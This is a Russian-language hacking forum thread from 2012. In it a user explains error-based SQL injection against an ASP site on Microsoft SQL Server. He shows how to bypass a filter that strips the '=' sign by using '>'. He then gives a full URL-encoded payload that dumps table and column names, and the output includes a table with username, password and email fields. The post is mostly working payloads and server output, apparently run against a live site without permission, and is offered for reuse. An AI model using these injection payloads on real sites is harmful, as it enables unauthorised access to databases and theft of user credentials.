маленько дополнение по mssql

Discussion in 'Уязвимости' started by durito, 15 Jan 2012.

  1. durito

    durito Elder - Старейшина

    Joined:
    6 Jun 2008
    Messages:
    125
    Likes Received:
    24
    Reputations:
    27
    сегодня ковырял один сайт и наткнулся на интересную фильтрацию в mssql

    Code:
    http://www.xxx.com/index.asp?id=11'+or+1=@@version--
    выдает -

    Microsoft OLE DB Provider for SQL Server error '80040e14'

    Incorrect syntax near '@@version'.

    при таком:

    Code:
    http://www.xxx.com/index.asp?id=11+or+1=@@version--
    Microsoft OLE DB Provider for SQL Server error '80040e07'

    Conversion failed when converting the varchar value '11 or 1@@version--' to data type int.

    видим, что вырезается знак =

    обходится это просто добавлением знака >

    Code:
    http://www.xxx.com/index.asp?id=11+or+1>@@version--
    Microsoft OLE DB Provider for SQL Server error '80040e07'

    Conversion failed when converting the varchar value '11 or 1>@@version--' to data type int.

    видит что не может с конвертировать данные, добавляем кавычку чтоб вызвать ошибку

    Code:
    http://www.xxx.com/index.asp?id=11'+or+1>@@version--
    Microsoft OLE DB Provider for SQL Server error '80040e07'

    Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.2050.00 (Intel X86) Feb 13 2007 23:02:48 Copyright (c) 1988-2005 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' to data type int.

    и то что доктор прописал :)

    Но тут возникает проблема со стандартным вытягиванием имен таблиц и полей, так как знак = фильтруется

    подумав немного а составил следующий запрос для дампера:

    Code:
    http://www.xxx.com/index.asp?id=11'+or+1%3E%28select+top+1+cast%28table_name+as+nvarchar%29%2B%27:%27%2Bcast%28column_name+as+nvarchar%29+from+information_schema.columns+where+cast%28table_name+as+nvarchar%29%2B%27:%27%2Bcast%28column_name+as+nvarchar%29+not+in+%28select+top+5+cast%28table_name+as+nvarchar%29%2B%27:%27%2Bcast%28column_name+as+nvarchar%29+from+information_schema.columns%29%29--
    который объединил вывод таблиц и полей:

    livesupportfirm:ID
    livesupportfirm:idfirma
    livesupportfirm:name
    livesupportfirm:username
    livesupportfirm:password
    livesupportfirm:status
    livesupportfirm:email
    livesupport:ID

    З.Ы. америку тут я не открыл, но может кому инфа пригодится

    durito
     
    #1 durito, 15 Jan 2012
    Last edited: 16 Jan 2012
    1 person likes this.
  2. Boolean

    Boolean Elder - Старейшина

    Joined:
    5 Sep 2010
    Messages:
    147
    Likes Received:
    83
    Reputations:
    78
    Слушай, может книгу напишешь?
    И автограф бы еще.